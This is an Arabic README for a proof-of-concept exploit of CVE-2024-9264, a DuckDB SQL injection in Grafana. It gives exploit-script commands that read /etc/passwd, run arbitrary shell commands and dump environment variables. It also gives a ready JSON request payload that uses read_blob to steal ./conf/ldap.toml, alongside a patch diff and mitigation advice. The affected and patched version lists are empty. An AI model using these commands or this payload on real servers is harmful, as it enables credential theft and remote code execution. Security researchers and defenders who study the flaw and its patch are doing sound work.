
استغلال لقراءة الملفات التعسفية وتنفيذ التعليمات البرمجية عن بُعد في Grafana (CVE-2024-9264)
يُظهر هذا الإثبات استغلال CVE-2024-9264 باستخدام مستخدم مُصادق عليه لتنفيذ استعلام DuckDB SQL وقراءة ملف عشوائي على نظام الملفات أو تنفيذ كود تعسفي عن بُعد.
لا يمكن تنفيذ الكود التعسفي إلا على Grafana v11.0.0.
يمكن قراءة الملفات في جميع الإصدارات المعرضة للخطر.
الإعداد: ثبّت التبعيات المطلوبة عبر:
pip install -r requirements.txt
قراءة الملف (شامل):
python3 CVE-2024-9264.py -u user -p pass -f /etc/passwd http://localhost:3000
تنفيذ الأوامر (الإصدار v11.0.0 فقط)
python3 CVE-2024-9264.py -u user -p user -c <shell-cmd> http://localhost:3000
يمكنك أيضاً تنفيذ استعلامات DuckDB عشوائية، مثل استدعاء getenv لاسترجاع متغيرات البيئة:
python3 CVE-2024-9264.py -u user -p pass -q "SELECT getenv('PATH')" http://localhost:3000
قائمة دوال DuckDB المساعدة القابلة للاستغلال موجودة هنا.
CVE-2024-9264 هي ثغرة حقن SQL في DuckDB داخل ميزة تعبيرات SQL التجريبية في Grafana. يمكن لأي مستخدم مُصادق عليه تنفيذ استعلامات DuckDB SQL تعسفية عبر تعبيرات معدلة في لوحات معلومات Grafana.
الإصدارات المتأثرة:
الإصدارات المصححة:
أصدرت Grafana إصدارات خاصة لإصلاح هذه الثغرة. لتحليل التصحيح، يمكن استخدام الأوامر التالية لمقارنة التغييرات:
git checkout v11.0.5+security-01
git diff 0421a8911cfc05a46c516fd9d033a51e52e51afe 70316b3e1418c9054017047e63c1c96abb26f495
يكشف هذا أن ميزة تعبيرات SQL تمت إزالتها ببساطة من الإصدارات المعرضة للخطر.
+++ b/pkg/expr/sql/db.go
@@ -0,0 +1,26 @@
+package sql
+
+import (
+ "errors"
+
+ "github.com/grafana/grafana-plugin-sdk-go/data"
+)
+
+type DB struct {
+}
+
+func (db *DB) TablesList(rawSQL string) ([]string, error) {
+ return nil, errors.New("not implemented")
+}
+
+func (db *DB) RunCommands(commands []string) (string, error) {
+ return "", errors.New("not implemented")
+}
+
+func (db *DB) QueryFramesInto(name string, query string, frames []*data.Frame, f *data.Frame) error {
+ return errors.New("not implemented")
+}
+
+func NewInMemoryDB() *DB {
+ return &DB{}
+}
@@ -85,7 +84,7 @@ func (gr *SQLCommand) Execute(ctx context.Context, now time.Time, vars mathexp.V
rsp := mathexp.Results{}
- duckDB := duck.NewInMemoryDB()
+ duckDB := sql.NewInMemoryDB()
var frame = &data.Frame{}
err := duckDB.QueryFramesInto(gr.refID, gr.query, allFrames, frame);
if err != nil {
يزيل التصحيح ميزة تعبيرات SQL بالكامل، مما يمنع إمكانية الاستغلال.
تشغيل Grafana: شغّل Grafana بالإصدار 11.0.5:
docker run --name=grafana -p 3000:3000 grafana/grafana-enterprise:11.0.5
تعديل تعبير:
أنشئ لوحة معلومات بتعبير مثل "Math"، واعترض الطلب باستخدام Burp، وعدّل نوع datasource من math إلى sql.
سيتم إرسال طلب HTTP إلى /api/ds/query?ds_type=__expr__&expression=true&requestId=Q101.
فيما يلي الحد الأدنى من JSON المطلوب لتنفيذ استعلام DuckDB SQL لقراءة ملف عشوائي مثل ./conf/ldap.toml:
{
"queries": [
{
"refId": "B",
"datasource": {
"type": "__expr__",
"uid": "__expr__",
"name": "Expression"
},
"type": "sql",
"hide": false,
"expression": "SELECT content FROM read_blob(\"./conf/ldap.toml\")",
"window": ""
}
],
"from": "1729313027261",
"to": "1729334627261"
}
لا يلزم وجود لوحة معلومات للاستغلال الفعلي، إنها مجرد طريقة سهلة للعثور على طلب HTTP لتنفيذ استعلام.
من المهم ملاحظة أنه على الرغم من خطورة هذه الثغرة، فإن قابلية استغلالها تعتمد على ما إذا كان ثنائي DuckDB مثبتاً على خادم Grafana. افتراضياً، لا يأتي Grafana مع DuckDB مثبتاً، ولا يوجد خيار لتثبيته مباشرة من واجهة Grafana.
لكي تكون هذه الثغرة قابلة للاستغلال، يجب على المسؤول تثبيت DuckDB يدوياً وإضافته إلى $PATH لخادم Grafana. إذا لم يكن DuckDB موجوداً، لا يمكن استغلال ثغرة حقن SQL، مما يقلل بشكل كبير من احتمالية الاستغلال الناجح في التثبيتات الافتراضية.
قم بتحديث Grafana إلى الإصدارات المصححة، وتأكد من عدم وجود ثنائي DuckDB في $PATH إذا تأخر التصحيح.